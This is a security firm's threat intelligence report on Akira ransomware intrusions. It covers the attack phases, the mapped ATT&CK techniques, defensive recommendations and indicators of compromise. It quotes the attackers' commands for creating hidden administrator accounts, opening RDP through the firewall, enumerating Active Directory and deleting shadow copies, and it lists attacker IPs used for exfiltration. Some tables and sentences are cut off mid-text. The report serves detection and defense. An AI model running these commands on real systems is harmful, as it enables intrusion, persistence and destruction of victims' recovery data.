Aki-RATs – Command and Control Party

par Equipe CERT | Nov 28, 2023 | CERT, Non classifié(e)

Search

Rechercher

Recent Posts

China : Vulnerabilities as a strategic resource

A stalker in the box: infrastructure linking PandorahVNC and Mesh Central

The EV Code Signature Market for eCrime

Kerberos OPSEC: Offense & Detection Strategies for Red and Blue Team – Part 2 : AS_REP Roasting

Matanbuchus & Co: Code Emulation and Cybercrime Infrastructure Discovery

Archives

Sélectionner un mo

Categories

Actualités

Avis de vulnérabilité

Bulletin d'analyse

CERT

Conseil SSI

Cyber Threat Intelligence

Engineering

Evaluation Sécurité

Evenement

Recherche et Développement

Red Teaming

RSSI à temps partagé

Context

During the first half of 2023, CERT Intrinsec handled several incidents involving Akira ransomware group. Companies detected ransomware's presence, either by reacting to alerts triggered by their security solutions, or, in worst case, by encountering encrypted files on servers.

In all cases involving Akira's recent operations, CERT Intrinsec's analysis showed that the attack was divided into 3 phases. During the first phase, Akira affiliates get into the network by leveraging stolen passwords or by exploiting CVE-2023-20269 (Cisco ASA and FTD) vulnerability, allowing them to conduct brute-force attack on local password without being detected. They then perform discovery actions such as network or Active Directory scanning. They establish their persistence in the information system by installing remote access tools or by creating local and domain accounts. At that point, affiliates move laterally, using Remote Desktop Protocol, to different parts of the infrastructure before collecting data, exfiltrating them with WinSCP or Filezilla, and deleting their tracks to avoid detection. The second phase lasts several days: affiliates stay stealthy. They might be studying exfiltrated data or assessing technical data collected from the information system. During the last phase, attackers come back to set up their last persistence points, disable protections, try to destroy backups and delete volume shadow copies before running their encryption binary on targeted servers.

This article presents the intrusion set involved in Akira's operations handled by CERT Intrinsec, its tactics, techniques and procedures, as well as recommendations to follow in order to avoid facing such an incident.

CERT Intrinsec presentation

CERT Intrinsec is a French incident response team that performs its operations mainly on France's sector. The team deals with about 50 major incidents per year and works to help its customers to recover from cyber-attacks and strengthen their security. Since 2017, CERT Intrinsec has responded to hundreds of security breaches involving companies and public entities. The majority of those incidents are related to cybercriminality and ransomware attacks with financial objectives, hence, CERT Intrinsec follows those groups activities and generates comprehensive intelligence from the field. ANSSI (French Cybersecurity Agency) granted CERT Intrinsec PRIS (State-Certified Security Incident Response Service Providers) certification. The latter testify that CERT Intrinsec meets specific incident response requirements, using dedicated procedures, qualified people and appropriate infrastructures. Should you need our expertises, Intrinsec provides Incident response & Crisis management services, Threat Intelligence services & datas, IOCs Feeds, Detection services (SOC/MDR/XDR), supported by a large set of other services (pentests & audits, consulting, ...) .

Akira Ransomware

Akira ransomware is said to have started operating in March 2023 and targeted more than 140 organisations (according to its leak site). Just like many other

especially the United States of America, the United Kingdom of Great Britain and Northern Ireland and Canada. Even if manufacturing, education, construction, retail and consulting are subject to many attacks, Akira compromised information systems from a wide range of sectors and does not seem to target any of them. CERT Intrinsec handled incident responses for which attacks were not claimed. This raises questions about genuine motivations of Akira ransomware gang.

Akira Victimology

Victims analysis shows that majority of compromised companies are located in the USA (73%). United Kingdom and Canada follow with respectively 7% and 5% of referenced victims.

Regarding activity sectors, we have seen following trends:

- 14% of victims belong to manufacturing sector
- 11% in the education
- 9% construction and so on

Basically, all sectors are represented but in lower proportion.

Key takeaways

Investigations performed during Akira operations highlight that affiliates will use as many legitimate and living-of-the-land tools as possible, possibly to ensure EDR solutions bypass. For example, in one unique operation, we found at least 4 different command & control solutions such as AnyDesk, Teamviewer, OpenSSH Servers and MobaXterm. Moreover, in the first phase of the adversary's operations, we notice adversaries efforts to stay relatively stealthy. They managed to tunnel their outgoing traffic through CloudFlare infrastructure, performed common reconnaissance tasks from servers where the EDR solution was not deployed, did not access to critical, and more likely supervised, infrastructure such as domain controllers. They conscientiously explored available file servers and managed to compress then exfiltrate data. They splitted exfiltration into multiple steps, exfiltrating data from a server before moving to another one.

The third part of operations, the encryption one, was marked by faster and « noisy » actions. Indeed, this phase took place in a few hours timeframe, during such they performed a new internal reconnaissance phase, moved laterally mainly on backup and virtualisation servers and finished by executing their encryption binary. Moreover, attackers performed many attempts to exfiltrate Active Directory information, performed multiple network scans with more or less success even from EDR monitored servers and also relied on tools such as Impacket, which can leave lots of characteristic footprints.

Operation timeline

All Akira's operations share a common characteristic: they took place in 3 different phases, from the start until the end of attacks.

- First days of the intrusion are dedicated to ensure persistance mechanism on a few assets, perform initial internal discovery and manage to escalate privileges

Akira's operation timeline

Tactics, techniques and procedures

Initial Access

Technique	Technique ID
External Remote Service	T1133
Valid Account: Domain Accounts	T1078.002

Adversaries got into the network by leveraging compromised credentials of legitimate accounts and establishing VPN sessions using them. Some of these accounts might have been compromised way before the incident. In two cases, attackers exploited CVE-2023-20269 vulnerability on a Cisco ASA VPN appliance. This vulnerability allows an unauthenticated attacker to conduct a brute-force attack on any local account while bypassing the maximum number of attempts defined.

In order to avoid the use of legitimate accounts as initial access, CERT Intrinsec recommends to:

- Ensure that internet facing solution, such as VPN appliances are patched in priority when security fixes are published by editors
- Enforce Multi-Factor Authentication on VPN solutions
- Apply the principle of least privilege when granting information system access to partners
- Review Active Directory objects to identify old, disabled or useless accounts, on a regular basis

Interpreter: Powershell	
Command and Scripting Interpreter: Windows Command Shell	T1059.003
Windows Management Instrumentation	T1047
System Services: Service Execution	T1569.002

Attackers leveraged PowerShell to execute commands to install Remote Server Administration Tools (RSAT-AD), to list domain users, computers and trusts. To do so, they used Get-ADUser and Get-ADComputer PowerShell cmdlets. They also created a new firewall rule to allow SSH traffic. To perform discovery and persistence actions, attackers leveraged Windows Command Shell as well as WMI via Impacket.

To spot PowerShell and Windows shell activities, you can implement the following measures:

- Enable PowerShell logging features (Transcript, ScriptBlockText, ConsoleHost_history)
- Enable Sysmon logging on devices
- Monitor equipments to detect execution actions, especially PowerShell and Windows Shell commands
- Improve detection means by building a Security Operations Center (SOC)

Persistence

Technique	Technique ID
Create or Modify System Process: Windows Service	T1543.003
External Remote Services	T1133
Create Account: Local Account	T1136.001
Create Account: Domain Account	T1136.002
Valid Accounts: Domain Accounts	T1078.002

They created multiple local and domain accounts, using the following Impacket commands, to make sure not to lose privileges if one of them is disabled or deleted.

```
cmd.exe /Q /c net user [ADMIN_USER] '[PASSWORD]' /dom 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1
cmd.exe /Q /c net user [ADMIN_USER] '[PASSWORD]' /add 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1
```

Attackers compromised legitimate accounts as well.

Valid Accounts: Domain Accounts	T1078.002
Valid Accounts: Local Accounts	T1078.002

Throughout operations, attackers compromised several accounts, many of them being privileged. They then used them to gain even more privileges. These accounts were:

- Administrator accounts
- Unused administrator account
- Account used on printers
- Service provider account
- Monitoring account
- Accounting account
- Domain administrator account

Several accounts were compromised throughout the operation. It is possible to avoid such actions by implementing the following recommendations:

- Keep an inventory of accounts, especially administrative ones, up-to-date
- Forbid RDP communication between equipments when it is not necessary
- Deploy Windows Credential Guard to protect credentials on systems
- Use dedicated administrative accounts to perform actions related to information system administration only

Defense Evasion

Technique	Technique ID
Impair Defenses: Disable or Modify System Firewall	T1562.004
Indicator Removal: File Deletion	T1070.004
Modify Registry	T1112
Valid Accounts: Domain Account	T1078.002
Impair Defenses: Disable or Modify Tools	T1562.001

During operations, affiliates tried to impair defenses by either deleting evidences or avoiding detection. They actually removed part of their tools as well as the exfiltrated archives containing data.

After creating a malicious account, affiliates modified the following registry key in order to hide this account from the logon screen.

```
cmd.exe /Q /c reg add
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
/t REG_DWORD /v [USER] /d 0 /f 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP].2>&1
```

- Collect logs from all equipments, forward them to a central server dedicated to logs storage
- Monitor firewall rules changes

Discovery

Technique	Technique ID
Account Discovery: Domain Account	T1087.002
Remote System Discovery	T1018
File and Directory Discovery	T1083
Network Service Discovery	T1046

As operations were on their way, attackers kept looking for information on targeted systems. They used network scanning tools named *Netscan* and *Advanced IP Scanner* several times. They also browsed file servers, looking for interesting data to exfiltrate. They used Impacket commands and nltest built-in tool to perform some of their actions.

```
formatenumerationlimit = -1
Install-WindowsFeature RSAT-AD-PowerShell
Get-ADUser -Filter * -Properties * | Select-Object Enabled,
CanonicalName, CN, Name,
SamAccountName, MemberOf, Company, Title, Description,
Created,
Modified, PasswordLastSet, LastLogonDate, logonCount,
Department,
telephoneNumber, MobilePhone, OfficePhone, EmailAddress,
mail, HomeDirectory, homeMDB
> C:\ProgramData\AdUsers.txt
Get-ADComputer -Filter * -Property * | Select-Object Enabled,
Name, DNSHostName, IPv4Address,
OperatingSystem, Description, CanonicalName,
servicePrincipalName, LastLogonDate, whenChanged, whenCreated
> C:\ProgramData\AdComp.txt
nltest /domaintrusts
```

The above commands perform the following actions:

- Tell PowerShell to display all occurrences when formatting results
- Install Remote Server Administration Tools
- List all Active Directory users, all their properties and select several of them to display
- List all Active Directory computers, all their properties and select several of them to display

As discovery is often the first part of an intrusion set, it is crucial to detect it as early as possible to block subsequent phases of the attack. To do so, you should:

- Monitor security event logs and network connections to spot network scan activities, accounts enumeration, etc
- Monitor systems activities to detect commands executed to remote hosts

utilised remote administration shares (ADMIN$) to drop files on remote computers and connects via Remote Desktop Protocol to different servers to achieve their malicious actions. Besides, Impacket was used to execute commands on remote systems with Windows Administration Share. Multiple hostnames were found as WorkstationName when attackers tried to authenticate to equipments:

- DESKTOP-3GCJKGQ
- WIN-KFUMVU06ESH
- WIN-OX9CQTDSEIK
- WIN-MV7S8OJTOIK
- HOST14872171171
- DESKTOP-KT76603

Attackers leveraged local accounts as well, adding them to **Administrators** and **Remote Desktop Users** groups, using **net localgroup** command:

```
net localgroup Administrators [USERNAME] /ADD
net localgroup 'Remote Desktop Users' [USERNAME] /add
net localgroup Administrators [USERNAME] /add 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1
net localgroup Domain Admins [USERNAME] /add 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1
net localgroup Remote Desktop Users [USERNAME] /add 1>
\\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1
```

They also used **Enter-PSSession** PowerShell command to start interactive sessions on remote devices and enable Remote Desktop Protocol, as shown below

```
Enter-PSSession -ComputerName [EQUIPMENT]
netsh advfirewall firewall add rule name= »allow
RemoteDesktop » dir=in
protocol=TCP localport=3389 action=allow
```

During all operations, attackers easily moved from one equipment to another, and from one domain to another, especially leveraging network shares. To avoid such lateral movements, CERT Intrinsec recommends to:

- Monitor information systems to detect suspicious network share accesses (use of Impacket, network shares scan, etc)
- Restrict access to administrative shares as much as possible
- Build efficient isolation procedures to isolate a equipment, a VLAN or even the entire information system

Collection

Technique	Technique ID
Archive Collected Data: Archive via Utility	T1560.001

To reduce the size of data to exfiltrate and to make the process more efficient, affiliates used WinRar utility to create archives containing stolen data.

Ingress Tool Transfer	T1105
Remote Access Software	T1219
External Remote Services	T1133

Apart from using AnyDesk, TeamViewer, OpenSSH, MobaXTerm as Remote Administration Tools and Cloudflared to tunnel malicious traffic through the CloudFlare infrastructure, affiliates employed file.io, a file sharing service, to download their tools on compromised systems. They also leveraged VPN accesses to conduct their activities on the network.

You can implement the following measures to detect command and control activities:

- Monitor systems and network traffic to identify suspicious file sharing websites or illegitimate cloud services
- Install an Intrusion Prevention Solution to monitor traffic and find unusual remote hosts, flagged C2 domain/IP address/port, etc

AnyDesk

The first way to perform command and control activities is the installation of AnyDesk, a remote desktop application. The software was downloaded from file.io platform. Several files related to AnyDesk installation were discovered:

- C:\Users\[REDACTED]\Downloads\gcapi.dll
- C:\Users\[REDACTED]\Downloads\AnyDesk.exe
- C:\Windows\Temp\gcapi.dll
- C:\ProgramData\gcapi.dll

A service was also created to make sure that the persistence stays up:

Service Name	Command
AnyDesk	C:\Program Files (x86)\AnyDesk\AnyDesk.exe –service

SSH Server

An SSH server was installed on several servers in order to maintain the access to the information system by tunneling adversaries traffic through an SSH session. OpenSSH was used to create this SSH server and to be able to connect to compromised systems. CERT Intrinsec found evidences of OpenSSH in many directories:

- C:\Users\[REDACTED]\Downloads\OpenSSH.msi\
- C:\Program Files\OpenSSH\sshd.exe\
- C:\Users\[REDACTED]\AppData\Local\Temp\7\[redacted]\bin\ssh.exe\

```
-Enabled True -Direction Inbound -Protocol TCP -Action Allow
-LocalPort 22
```

TeamViewer

TeamViewer was installed to allow access remotely to devices (**C:\Program Files (x86)\TeamViewer\TeamViewer.exe**), as well as to ensure persistence to them.

MobaXTerm

Attackers downloaded MobaXTerm, using an administrator account, on one of the domain controllers (**C:\Users\[REDACTED]\Downloads\MobaXtermInstallerv23.2.zip**).

Cloudflared

Attackers installed **Cloudflared**, a utility used to create tunnels between compromised hosts and Cloudflare solution. The command line to build a tunnel is as follows:

```
regid.exe tunnel run -token [TOKEN]
```

They renamed the cloudflared binary to **regid.exe** to hide in plain sight.

Exfiltration

Technique	Technique ID
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002
Application Layer Protocol: File Transfer Protocol	T1071.002

After creating archives containing collected files, affiliates used different softwares to exfiltrate several gigabytes of data: WinSCP and FileZilla.

FileZilla's **recentservers.xml** file stores connection information and is very important to identify where data have been sent.

```
<?xml version='1.0' encoding='UTF-8'?>
<FileZilla3 version='3.64.0' platform='windows'>
    <RecentServers>
        <Server>
            <Host>148[.]72.171.171</Host>
            <Port>22</Port>
            <Protocol>1</Protocol>
```

systems and threaten to publish it on their leak sites. Therefore, it is crucial to:

- Monitor outgoing traffic (in terms of volume, IP reputation, time of communication, etc)
- Improve network logging policy to ensure evidences availability in case of an investigation

Impact

Technique	Technique ID
Data Destruction	T1485
Data Encrypted for Impact	T1486
Inhibit System Recovery	T1490

Attackers tried to delete VEEAM backups by connecting to the management console and deleted Volume Shadow Copies using PowerShell commands:

```
powershell.exe -Command Get-WmiObject Win32_Shadowcopy | Remove-WmiObject
```

They finally encrypted equipments on the information system, using an Akira encryption binary.

To prevent victims from recovering their data, ransomware operators try to locate backups so as to delete them prior to encrypting files. To avoid this impact, CERT Intrinsec recommends to:

- Deploy a backup solution and test restoration process on a regular basis
- Keep at least one version of the backups outside the information system
- Monitor access to backup infrastructure

MITRE ATT&CK Matrix

Tactic	Sub-Techniques	Technique ID
Initial Access	External Remote Services Valid Account: Domain Accounts Exploit Public-Facing Application	T1133 T1078.002 T1190
Execution	Command and Scripting Interpreter: Powershell	T1059.001 T1059.003 T1047

	Execution	
Persistence	Create or Modify System Process: Windows Service External Remote Services Create Account: Local Account Create Account: Domain Accounts Remote Access Software	T1543.003 T1133 T1136.001 T1136.002 T1219
Privilege Escalation	Valid Accounts: Domain Accounts Valid Accounts: Local Accounts	T1078.002 T1078.003
Defense Evasion	Impair Defenses: Disable or Modify System Firewall Indicator Removal: File Deletion Modify Registry Valid Account: Domain Account Impair Defenses: Disable or Modify Tools	T1562.004 T1070.004 T1112 T1078.002 T1562.001
Credential Access	Brute Force Unsecured Credentials: Credentials in Files	T1110 T1552.001
Discovery	Account	T1087.002

Lateral Movement	Remote Services: Remote Desktop Protocol Remote Services: SMB/Windows Admin Shares	T1570 T1021.001 T1021.001
Collection	Archive Collected Data: Archive via Utility	T1560.001
Command and Control	Application Layer Protocol: Web Protocols Ingress Tool Transfer Remote Access Software External Remote Services	T1071.001 T1105 T1219 T1133
Exfiltration	Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Application Layer Protocol: File Transfer Protocol	T1048.002 T1071.002
Impact	Data Destruction Data Encrypted for Impact Inhibit System Recovery	T1485 T1486 T1490

Indicators of Compromise

Hostname

Hostname	Comment

WIN-MV7S8OJTOIK	connect to compromised infrastructure
DESKTOP-KT76603	Hostname used by attackers to connect to compromised infrastructure
HOST14872171171	Hostname used by attackers to connect to compromised infrastructure

IP Addresses

IP Address	AS	Location	Comment
91[.]132.92.60	9009 – M247, RO	Danemark	Malicious VPN connections
138[.]124.184.174	44477 – STARK-INDUSTRIES	United States	Malicious VPN connections
148[.]72.168.13	30083 – AS-30083-GO-DADDY-COM-LLC	U.S.A.	Data exfiltration
148[.]72.171.171	30083 – AS-30083-GO-DADDY-COM-LLC	United States	Malicious VPN connections and data exfiltration
199[.]127.60.236	23470 – RELIABLESITE	United States	Malicious VPN connections

Services

Name	Command	Comment
AnyDesk	C:\Program Files (x86)\AnyDesk\AnyDesk.exe –service	AnyDesk Service
SSHD	C:\Program Files\OpenSSH\sshd.exe	SSH Server

Commands

Command	Comment
	Create an

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Changes directory command executed by attackers
cmd.exe /Q /c net localgroup Administrators [USERNAME] /add 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Adds USERNAME user to Administrators group
cmd.exe /Q /c net localgroup Domain Admins [USERNAME] /add 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Adds USERNAME user to Domain Admins group
cmd.exe /Q /c net localgroup Remote Desktop Users [USERNAME] /add 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Adds USERNAME user to Remote Desktop Users group
cmd.exe /Q /c net user [USERNAME] [PASSWORD] /add 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Creates USERNAME user with password [PASSWORD]
cmd.exe /Q /c net user [USERNAME] [PASSWORD] /add 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Creates USERNAME user with password [PASSWORD]
cmd.exe /Q /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /t REG_DWORD /v [USERNAME] /d 0 /f 1> \\127.0.0.1\ADMIN$__[TIMESTAMP] 2>&1	Hides USERNAME user from logon screen
powershell.exe -Command Get-WmiObject Win32_Shadowcopy | Remove-WmiObject	Removes Volume Shadow Copies

Registry Keys

Key	Value	Data	Comment
			Key used to hide

FileName	WizTree.exe	WizTree (Disk Space Analyzer)
FileName	wiztree_4_14_portable.zip	WizTree (Disk Space Analyzer)
FileName	regid.exe	Cloudflare tunneling client
FileName	cloudflared.exe	Cloudflare tunneling client
FileName	Advanced_IP_Scanner.exe	Advanced IP Scanner (Network Scanner)
FileName	advanced_ip_scanner_console.exe	Advanced IP Scanner (Network Scanner)
FileName	Advanced_IP_Scanner_2.5.4594.1.exe	Advanced IP Scanner (Network Scanner)
FileName	advanced_ip_scanner.exe	Advanced IP Scanner (Network Scanner)
FileName	AdvancedPortScanner_2.5.3869.exe	Advanced Port Scanner (Network Scanner)
FileName	netscan.zip	Netscan (Network Scanner)
FileName	netscan.exe	Netscan (Network Scanner)
FileName	XWinMobaX1.16.3.exe	MobaXTerm (Remote Administration Tool)
		Anydesk (Remote

	setup.exe	client)
FileName	WinSCP.exe	WinSCP (SFTP client)
FileName	WinSCP-5.21.8-Portable.zip	WinSCP (SFTP client)
FileName	winrar-x64-621.exe	Compression and archiving tool

Sources

- https://twitter.com/MalGamy12/status/1651972583615602694
- https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/
- https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers/
- https://www.bleepingcomputer.com/news/security/meet-akira-a-new-ransomware-operation-targeting-the-enterprise/
- https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/